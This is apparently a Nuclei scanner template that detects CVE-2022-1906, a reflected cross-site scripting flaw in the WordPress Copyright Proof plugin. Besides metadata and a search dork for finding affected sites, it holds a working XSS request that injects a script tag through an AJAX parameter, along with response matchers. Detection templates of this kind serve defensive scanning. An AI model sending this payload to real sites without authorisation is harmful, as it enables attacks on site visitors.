WordPress Copyright Proof <=4.16 - Cross-Site-Scripting

id: CVE-2022-1906

info:
  name: WordPress Copyright Proof <=4.16 - Cross-Site-Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress Copyright Proof plugin 4.16 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users when a specific setting is enabled.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Copyright Proof plugin (>=4.17) which includes proper input sanitization and validation.
  reference:
    - https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1906
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1906
    cwe-id: CWE-79
    epss-score: 0.01163
    epss-percentile: 0.67494
    cpe: cpe:2.3:a:digiprove:copyright_proof:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: digiprove
    product: copyright_proof
    framework: wordpress
    google-query: inurl:/wp-content/plugins/digiproveblog
  tags: cve,cve2022,wordpress,xss,wp-plugin,wp,wpscan,digiprove,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "got message <script>alert(document.domain)</script>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200